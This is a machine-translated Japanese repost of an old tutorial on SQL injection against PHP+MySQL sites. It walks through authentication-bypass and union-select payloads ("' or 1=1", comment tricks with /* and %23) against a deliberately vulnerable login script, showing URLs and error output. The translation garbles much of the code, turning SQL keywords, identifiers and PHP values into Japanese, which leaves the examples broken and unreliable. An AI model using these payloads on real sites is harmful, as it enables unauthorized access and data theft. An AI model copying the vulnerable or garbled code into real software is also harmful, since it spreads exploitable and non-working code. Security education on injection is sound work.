ホームページ >バックエンド開発 >PHPチュートリアル >インジェクションの脆弱性を備えた MYSQL ステートメントを作成する方法_PHP チュートリアル
mysql による NSQL インジェクション
この記事の著者: 天使
記事の性質: オリジナル
発売日: 2004-09-16 SQL クエリ: $sql ";
この記事は『Hacker Defense』7月号に掲載されたものですので、転載の際はその旨をご明記ください。書くのに長い時間がかかり、
テクノロジー
の進歩に伴い、この記事には多くの間違いや冗長な箇所があることもわかりました。専門家の方はこれを読んで笑わないでください。この記事は、「MySQL による高度な SQL インジェクション」の 1 か月前に書かれたものです。
ステートメント
この記事は教育のみを目的としており、この記事によって引き起こされる攻撃の結果については責任を負いません。この記事のすべてのコードは私によって作成されており、すべてのデータはテストされています。絶対に本当。漏れや間違いがある場合は、Security Angel Forum (http://www.4ngel.net/forums) にアクセスして私にご連絡ください。
はじめに
2003 年以来、ますます多くの人々がスクリプト攻撃に興味を持ち、ASP での
インジェクション
について私が読んだ最も古い記事は 1999 年に書かれたものです。外国の専門家がこの技術に精通し始めたばかりであるが、この観点から見ると、この分野における国内の技術と外国の技術には依然として大きな差がある。 SQL については誰もがよく知っています インジェクション 攻撃も、国内の主要なサイトにいくつかの古典的な作品がありますが、完全な記事として、その定義と原則について話す必要があると思います。熟練のレベルに達しているマスターがいる場合は、この記事を少し試してみてもよいでしょう。クアンは弟を指導すべきだ。
php+Mysql インジェクションについて
中国ではphp+Mysql
インジェクションに関する記事は比較的少ないかもしれませんが、さまざまなWEBプログラムの脆弱性に注目してみると、これらの脆弱性に関する記事が実際に例であることがわかります。しかし、中国では ASP よりも PHP を勉強する人がはるかに少ないため、注目されていない可能性があります。また、PHP は ASP よりもはるかに安全であるため、多くの人はこのしきい値を超えたくありません。
それにもかかわらず、PHP サイトの数が増加している今日でも、SQL
インジェクション
は依然として最も効果的で厄介な攻撃方法です。国内のセキュリティのほとんどを含むサイトの少なくとも 70% に SQL インジェクションの脆弱性があるため、効果的です。問題は、MYSQL4 より前のバージョンではサブステートメントがサポートされておらず、php.ini の magic_quotes_gpc がオンになっているためです。送信された変数内のすべての ' (一重引用符)、" (二重引用符)、(バックスラッシュ) および空の 文字 は、バックスラッシュを含むエスケープされた 文字
に自動的に変換されます。 バンドを に挿入する 障害がたくさんあります。
初期の頃、プログラム コードに基づいて、効果的な攻撃を形成するために引用符のないステートメントを構築することは非常に困難でした。幸いなことに、現在のテクノロジーでは、特定の状況で使用できるように引用符のないステートメントが構築されています。経験があれば、効果的な文章を構築することはまったく難しくなく、成功率も高いですが、具体的な状況をケースバイケースで分析する必要があります。まずは誤解を解かなければなりません。
注: 具体的な指示がない場合は、magic_quotes_gpc がすべてオフであると想定します。
php+Mysqlインジェクション
の誤解
多くの人は、PHP+MYSQL で
を注入するときに一重引用符を使用する必要があると考えています。そうでないと、MSSQL のように "declare @a sysname select @a=
injectionの誤解です。
なぜ?どの言語であっても、引用符で囲まれたすべての文字列 (一重および二重を含む) は定数であるため、 dir のようなコマンドでも単なる文字列であり、コードが次のように書かれていない限りコマンドとして実行できません。
$command = "ディレクトリ:";
システム($コマンド);
それ以外の場合、これは単なる文字列です。もちろん、ここで説明しているコマンドは、SQL ステートメントを通常どおりに実行することを意味するものではありません。では、次回は一重引用符を使用しますか?使われないのはどんなとき?次の 2 つの SQL ステートメントを見てください:
①SELECT * FROM 記事 WHERE 記事 ID='$id'
②SELECT * FROM 記事 WHERE 記事ID=$id
どちらの記述方法もさまざまなプログラムで共通ですが、最初の文では変数 $id を一対の引用符で囲みます。これにより、たとえ正しい SQL ステートメントが含まれていたとしても、送信する変数は文字列になります。 2 番目の文は異なります。変数が一重引用符で囲まれていないため、スペースが含まれている限り、送信したものはすべて SQL ステートメントとして実行されます。2 つの不正な文は正常に送信されました。違いを確認するために 2 つの文に を挿入しました。
① 変数 $id を次のように指定します:
1' と 1=2 Union select * from user where userid=1/*
このとき、SQL ステートメント全体は次のようになります:
SELECT * FROM 記事 WHERE 記事 ID='1' と 1=2 Union select * from user where userid=1/*'
②変数 $id を次のように指定します:
1 と 1=2 Union select * from user where userid=1
このとき、SQL ステートメント全体は次のようになります:
SELECT * FROM 記事 WHERE 記事 ID=1 と 1=2 Union select * from user where userid=1
あなたはそれを見ましたか?最初の文には単一引用符が含まれているため、次のステートメントを SQL として実行できるように、最初に前の単一引用符を閉じる必要があります。また、元の SQL ステートメント内の次の一重引用符をコメント アウトして、正常に実行できるようにする必要があります
inject 、php.ini の magic_quotes_gpc が on に設定されている場合、または変数の前に addslashes() 関数が使用されている場合、攻撃は無駄になりますが、2 番目の文に変数が引用符で囲まれていない場合は、攻撃は行われません。閉じるかコメントを直接送信することを検討する必要があります。
いくつかの記事で示されているステートメントには一重引用符が含まれていないことがわかりました。たとえば、pinkeyes の「php
Injection例」で示されている SQL ステートメントには引用符が含まれていません。 quotes Inject を使用して、PHPBB コードを詳しく見てみると、$forum_id が配置されている SQL ステートメントが次のように記述されていることがわかります:
$sql = "SELECT *
「 . FORUMS_TABLE . 」から
WHERE フォーラム ID = $フォーラム ID";
変数は一重引用符で囲まれていないため、pinkkey は変数を利用する機会があります。そのため、PHP プログラムを作成するときは、変数を一重引用符で囲むようにしてください。もちろん、必要な安全対策は必須です。
簡単な例
PHP における
インジェクション の特殊性と原理を理解するための例を示します。もちろん、この例では、効果的な SQL ステートメントを構築する方法を学習することもできます。
ユーザー検証の例を見てみましょう。まず、次のように データベース
とデータ テーブルを作成し、レコードを挿入します。
テーブル `user` を作成 (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL デフォルト '',
`パスワード` varchar(20) NOT NULL デフォルト '',
主キー (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
#テーブル `user` のデータをエクスポートします
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
ユーザーファイルを検証するコードは次のとおりです:
$servername = "ローカルホスト";
$dbusername = "ルート";
$dbpassword = "";
$dbname = "注入";
mysql_connect($servername,$dbusername,$dbpassword) または die (「データベース接続に失敗しました」);
$sql = "SELECT * FROM ユーザー WHERE ユーザー名='$ユーザー名' AND パスワード='$パスワード'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (空($userinfo))
{
echo "ログインに失敗しました";
} その他 {
echo "ログイン成功";
}
echo "
?>
現時点では次のように提出します:
http://127.0.0.1/injection/user.php?username=angel
' または 1=1
戻ります:
警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
ログインに失敗しました
SQL クエリ:SELECT * FROM ユーザー WHERE ユーザー名 = 'angel' または 1=1' AND パスワード = ''
PHP 警告: mysql_fetch_array(): 指定された引数は、F:wwwinjectionuser.php の 13 行目で有効な MySQL 結果リソースではありません
見えますか?一重引用符が閉じられた後、次の一重引用符はコメントアウトされず、一重引用符が正しくペアにならないことになります。したがって、作成したステートメントでは Mysql を正しく実行できず、再構築する必要があることがわかります。
http://127.0.0.1/injection/user.php?username=angel' または '1=1
このとき「Login Successful」と表示され、成功したことがわかります。または送信してください:
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
これにより、次のステートメントがコメントアウトされます。これら 2 つの投稿の違いについて説明します。言うまでもなく、最初に投稿した文は論理演算を使用しています。 2 番目と 3 番目の文は、mysql の特性に基づいています。Mysql は、/* と # の 2 つのコメント形式をサポートしているため、送信するときに次のコードをコメントアウトします。エンコードの問題により、# を送信することに注意してください。 IE のアドレス バーは空になるため、アドレス バーで送信する場合は、# になる前に %23 を送信する必要があります。これは、PHP の論理演算よりもはるかに簡単であることがわかります。 ASP よりも強力で柔軟です。
上記の例を通して、誰もが PHP+MYSQL の
インジェクション を感覚的に理解できるはずですよね?
ステートメントの構築
PHP+MYSQL
Injectionの幅広さと奥深さは、認証システムに反映されるだけではありません。ただし、ステートメントの構造は ACCESS や MSSQL とは若干異なります。まだ最大限の可能性を発揮できます。以下の例を参照してください。
1. 検索エンジン
インターネット上には問題のある PHP プログラム検索エンジンがたくさんあります。つまり、特殊文字を送信すると、条件を満たさないレコードも含めてすべてのレコードが表示されるという問題があります。実際には、多くの場所でこの害は大きくありません。ここで、ユーザーはあいまいクエリのキーワードを入力できます。ほとんどの場合、すべてのレコードを取得できます。多くのクエリはこのように設計されています。
クエリは読み取り専用操作であり、データに損傷を与えることはないため、あまり心配する必要はありません。ただし、プライバシーの漏洩が有害であるとみなされるかどうかはわかりません。標準的な検索エンジンは次のとおりです。